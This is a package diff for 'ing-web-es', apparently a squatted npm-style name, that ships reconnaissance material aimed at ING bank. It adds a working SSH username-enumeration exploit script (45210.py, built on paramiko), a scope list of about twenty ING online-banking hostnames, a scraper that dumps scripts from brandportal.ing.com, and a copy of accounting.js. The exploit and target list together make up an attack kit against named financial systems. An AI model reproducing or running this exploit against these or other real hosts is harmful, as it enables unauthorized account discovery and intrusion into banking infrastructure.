ing-web-es 0.0.1-security → 1.0.0

package/45210.py

@@ -0,0 +1,84 @@
+#!/usr/bin/env python
+
+# Copyright (c) 2018 Matthew Daley
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to
+# deal in the Software without restriction, including without limitation the
+# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
+# sell copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in
+# all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
+# IN THE SOFTWARE.
+
+
+import argparse
+import logging
+import paramiko
+import socket
+import sys
+
+
+class InvalidUsername(Exception):
+    pass
+
+
+def add_boolean(*args, **kwargs):
+    pass
+
+
+old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[
+        paramiko.common.MSG_SERVICE_ACCEPT]
+
+def service_accept(*args, **kwargs):
+    paramiko.message.Message.add_boolean = add_boolean
+    return old_service_accept(*args, **kwargs)
+
+
+def userauth_failure(*args, **kwargs):
+    raise InvalidUsername()
+
+
+paramiko.auth_handler.AuthHandler._handler_table.update({
+    paramiko.common.MSG_SERVICE_ACCEPT: service_accept,
+    paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure
+})
+
+logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
+
+arg_parser = argparse.ArgumentParser()
+arg_parser.add_argument('hostname', type=str)
+arg_parser.add_argument('--port', type=int, default=22)
+arg_parser.add_argument('username', type=str)
+args = arg_parser.parse_args()
+
+sock = socket.socket()
+try:
+    sock.connect((args.hostname, args.port))
+except socket.error:
+    print('[-] Failed to connect')
+    sys.exit(1)
+
+transport = paramiko.transport.Transport(sock)
+try:
+    transport.start_client()
+except paramiko.ssh_exception.SSHException:
+    print('[-] Failed to negotiate SSH transport')
+    sys.exit(2)
+
+try:
+    transport.auth_publickey(args.username, paramiko.RSAKey.generate(2048))
+except InvalidUsername:
+    print('[*] Invalid username')
+    sys.exit(3)
+except paramiko.ssh_exception.AuthenticationException:
+    print('[+] Valid username')

package/SCOPE_ing

@@ -0,0 +1,20 @@
+banking.ing.at
+business.ing.ro
+ebanking.ing.be
+homebank.ro
+ib.ing.cz
+ing.ingdirect.es
+ing.myleo.com
+insidebusiness.ingwb.com
+internetsubesi.ing.com.tr
+kurumsalinternetsubesi.ing.com.tr
+m.ing.fr
+megabank.nl
+mijn.ing.nl
+mijnzakelijk.ing.nl
+my.ing.lu
+myaccount.ing.com
+portal.inglease.pl
+secure.ing.it
+start.ingbusiness.pl
+www.ing.com.au

package/brandportal.ing.com/dump-scripts.py

@@ -0,0 +1,83 @@
+#!/usr/bin/env python3
+import requests
+from bs4 import BeautifulSoup as bs
+import os
+import hashlib
+import argparse
+
+
+"""
+Simple python utility to dump all scripts from a given page.
+By: @SamuelAnttila
+License: MIT
+"""
+
+def download_script(url,downloads_dir_path,headers={},prettify=False):
+    """Download script into given directory. Note: Does nothing to avoid name collisions"""
+
+    # /asdf/file.js?123=123 -> file.js
+    url_path = requests.compat.urlparse(url).path
+    local_filename = os.path.basename(url_path)
+
+    if prettify:
+        # we can't stream if we want to prettify since we need the full file contents
+        res = requests.get(url, headers=headers)
+        code = jsbeautifier.beautify(res.text)
+        with open(os.path.join(downloads_dir_path,local_filename), 'w+') as f:
+            f.write(code)
+    else:
+        # streaming file download because putting everything in memory at once is silly if we don't have to
+        with requests.get(url, stream=True, headers=headers) as r:
+            r.raise_for_status()
+            with open(os.path.join(downloads_dir_path,local_filename), 'wb+') as f:
+                for chunk in r.iter_content(chunk_size=8192):
+                    # If you have chunk encoded response uncomment if
+                    # and set chunk_size parameter to None.
+                    #if chunk:
+                    f.write(chunk)
+    return local_filename
+
+
+def ensure_dir(file_path):
+    """Ensure directory exists by creating it if not present"""
+    directory = os.path.dirname(file_path)
+    if not os.path.exists(directory):
+        os.makedirs(directory)
+
+if __name__ == "__main__":
+    downloads_dirname = "scripts/"
+    curr_path = os.path.dirname(os.path.realpath(__file__))
+    downloads_path = os.path.join(curr_path,downloads_dirname)
+    ensure_dir(downloads_path)
+
+    parser = argparse.ArgumentParser(description='Download all scripts from a website into a scripts/ folder underneath this script')
+    parser.add_argument('url', metavar='URL', type=str, help='The url (including schema) from which to dump scripts')
+    parser.add_argument('--useragent', dest='useragent', type=str, default="Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36", help='User agent to use when making requests')
+    parser.add_argument('--prettify', dest='prettify', action="store_true", default=False, help='If enabled uses jsbeautify to prettify/deobfuscate all downloaded javascript. Will fail if "jsbeautifier" not installed with pip. Recommended if you\'re dealing with minified files.')
+    args = parser.parse_args()
+
+    if args.prettify:
+        import jsbeautifier # only necessary if we actually want to use this functionality
+
+    res = requests.get(args.url,headers={"User-Agent":args.useragent})
+    soup = bs(res.text,features="html.parser")
+    for script in soup.find_all("script"):
+        if "src" in script.attrs:
+            #externally loaded script
+            download_url = requests.compat.urljoin(args.url, script.attrs["src"])
+            print(f'Downloaded {download_script(download_url,downloads_path,headers={"User-Agent":args.useragent},prettify=args.prettify)}')
+        else:
+            #inline script
+            print(script.text)
+            m = hashlib.sha256()
+            m.update(script.text.encode("utf32"))
+            local_filename = m.hexdigest() # To give all inline scripts a unique name we take the hash of its contents. Only identical scripts should collide.
+            with open(os.path.join(downloads_path,local_filename)+".js", 'w+') as f:
+                if not args.prettify:
+                    f.write(script.text)
+                else:
+                    f.write(jsbeautifier.beautify(script.text))
+    print("Done downloading scripts. They should be under the 'scripts/' folder.")
+
+
+

package/brandportal.ing.com/scripts/accounting.min.js

@@ -0,0 +1,155 @@
+/*!
+ * accounting.js v0.4.2, copyright 2014 Open Exchange Rates, MIT license, http://openexchangerates.github.io/accounting.js
+ */
+(function(p, z) {
+    function q(a) {
+        return !!("" === a || a && a.charCodeAt && a.substr)
+    }
+
+    function m(a) {
+        return u ? u(a) : "[object Array]" === v.call(a)
+    }
+
+    function r(a) {
+        return "[object Object]" === v.call(a)
+    }
+
+    function s(a, b) {
+        var d, a = a || {},
+            b = b || {};
+        for (d in b) b.hasOwnProperty(d) && null == a[d] && (a[d] = b[d]);
+        return a
+    }
+
+    function j(a, b, d) {
+        var c = [],
+            e, h;
+        if (!a) return c;
+        if (w && a.map === w) return a.map(b, d);
+        for (e = 0, h = a.length; e < h; e++) c[e] = b.call(d, a[e], e, a);
+        return c
+    }
+
+    function n(a, b) {
+        a = Math.round(Math.abs(a));
+        return isNaN(a) ? b : a
+    }
+
+    function x(a) {
+        var b = c.settings.currency.format;
+        "function" === typeof a && (a = a());
+        return q(a) && a.match("%v") ? {
+            pos: a,
+            neg: a.replace("-", "").replace("%v", "-%v"),
+            zero: a
+        } : !a || !a.pos || !a.pos.match("%v") ? !q(b) ? b : c.settings.currency.format = {
+            pos: b,
+            neg: b.replace("%v", "-%v"),
+            zero: b
+        } : a
+    }
+    var c = {
+            version: "0.4.1",
+            settings: {
+                currency: {
+                    symbol: "$",
+                    format: "%s%v",
+                    decimal: ".",
+                    thousand: ",",
+                    precision: 2,
+                    grouping: 3
+                },
+                number: {
+                    precision: 0,
+                    grouping: 3,
+                    thousand: ",",
+                    decimal: "."
+                }
+            }
+        },
+        w = Array.prototype.map,
+        u = Array.isArray,
+        v = Object.prototype.toString,
+        o = c.unformat = c.parse = function(a, b) {
+            if (m(a)) return j(a, function(a) {
+                return o(a, b)
+            });
+            a = a || 0;
+            if ("number" === typeof a) return a;
+            var b = b || ".",
+                c = RegExp("[^0-9-" + b + "]", ["g"]),
+                c = parseFloat(("" + a).replace(/\((.*)\)/, "-$1").replace(c, "").replace(b, "."));
+            return !isNaN(c) ? c : 0
+        },
+        y = c.toFixed = function(a, b) {
+            var b = n(b, c.settings.number.precision),
+                d = Math.pow(10, b);
+            return (Math.round(c.unformat(a) * d) / d).toFixed(b)
+        },
+        t = c.formatNumber = c.format = function(a, b, d, i) {
+            if (m(a)) return j(a, function(a) {
+                return t(a, b, d, i)
+            });
+            var a = o(a),
+                e = s(r(b) ? b : {
+                    precision: b,
+                    thousand: d,
+                    decimal: i
+                }, c.settings.number),
+                h = n(e.precision),
+                f = 0 > a ? "-" : "",
+                g = parseInt(y(Math.abs(a || 0), h), 10) + "",
+                l = 3 < g.length ? g.length % 3 : 0;
+            return f + (l ? g.substr(0, l) + e.thousand : "") + g.substr(l).replace(/(\d{3})(?=\d)/g, "$1" + e.thousand) + (h ? e.decimal + y(Math.abs(a), h).split(".")[1] : "")
+        },
+        A = c.formatMoney = function(a, b, d, i, e, h) {
+            if (m(a)) return j(a, function(a) {
+                return A(a, b, d, i, e, h)
+            });
+            var a = o(a),
+                f = s(r(b) ? b : {
+                    symbol: b,
+                    precision: d,
+                    thousand: i,
+                    decimal: e,
+                    format: h
+                }, c.settings.currency),
+                g = x(f.format);
+            return (0 < a ? g.pos : 0 > a ? g.neg : g.zero).replace("%s", f.symbol).replace("%v", t(Math.abs(a), n(f.precision), f.thousand, f.decimal))
+        };
+    c.formatColumn = function(a, b, d, i, e, h) {
+        if (!a) return [];
+        var f = s(r(b) ? b : {
+                symbol: b,
+                precision: d,
+                thousand: i,
+                decimal: e,
+                format: h
+            }, c.settings.currency),
+            g = x(f.format),
+            l = g.pos.indexOf("%s") < g.pos.indexOf("%v") ? !0 : !1,
+            k = 0,
+            a = j(a, function(a) {
+                if (m(a)) return c.formatColumn(a, f);
+                a = o(a);
+                a = (0 < a ? g.pos : 0 > a ? g.neg : g.zero).replace("%s", f.symbol).replace("%v", t(Math.abs(a), n(f.precision), f.thousand, f.decimal));
+                if (a.length > k) k = a.length;
+                return a
+            });
+        return j(a, function(a) {
+            return q(a) && a.length < k ? l ? a.replace(f.symbol, f.symbol + Array(k - a.length + 1).join(" ")) : Array(k - a.length + 1).join(" ") + a : a
+        })
+    };
+    if ("undefined" !== typeof exports) {
+        if ("undefined" !== typeof module && module.exports) exports = module.exports = c;
+        exports.accounting = c
+    } else "function" === typeof define && define.amd ? define([], function() {
+        return c
+    }) : (c.noConflict = function(a) {
+        return function() {
+            p.accounting = a;
+            c.noConflict = z;
+            return c
+        }
+    }(p.accounting), p.accounting = c)
+})(this);